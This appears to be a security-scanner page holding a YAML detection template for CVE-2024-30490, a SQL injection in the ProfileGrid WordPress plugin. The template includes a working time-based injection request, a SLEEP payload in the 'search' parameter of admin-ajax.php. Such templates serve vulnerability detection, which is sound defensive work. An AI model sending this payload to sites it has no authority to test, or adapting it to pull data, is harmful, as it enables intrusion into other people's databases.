ProfileGrid <= 5.7.8 - SQL Injection
CVE-2024-30490
Verified
Description
The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.7.8 due to insufficient escaping on the user supplied 'search' parameter and lack of sufficient preparation on the existing SQL query.
Severity
Critical
Published Date
January 30, 2026
Template Author
shivam kamboj
CVE-2024-30490.yaml
id: CVE-2024-30490
info:
name: ProfileGrid <= 5.7.8 - SQL Injection
author: Shivam Kamboj
severity: critical
description: |
The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.7.8 due to insufficient escaping on the user supplied 'search' parameter and lack of sufficient preparation on the existing SQL query.
impact: |
Attackers can execute arbitrary SQL queries, potentially leading to data theft, data tampering, or database compromise.
remediation: Update to ProfileGrid version 5.7.9 or later.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/profilegrid-user-profiles-groups-and-communities/profilegrid-578-unauthenticated-sql-injection
- https://wordpress.org/plugins/profilegrid-user-profiles-groups-and-communities/
- https://nvd.nist.gov/vuln/detail/CVE-2024-30490
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/profilegrid-user-profiles-groups-and-communities/"
tags: cve,cve2024,wordpress,wp,wp-plugin,profilegrid,sqli
http:
- raw:
- |
@timeout: 20s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=pm_get_all_groups&search=test'+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))a)--+-&sortby=newest&pagenum=1&view=grid
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'contains_all(body, "No group matches found.", "pm-")'
- 'status_code == 200'
condition: and
# digest: 4b0a0048304602210097effcdfe8b30a5ae811036a6cba97a10debe6364e111a079bf83c5371dc62a2022100f9b8b72398e0ff222681f69ba37f6e7c9f77e24f78a52bf253f3a9ca9030d845:922c64590222798bb761d5b6d8e729509.5Severity
CVSS Metrics
References
Remediation Steps
Update to ProfileGrid version 5.7.9 or later.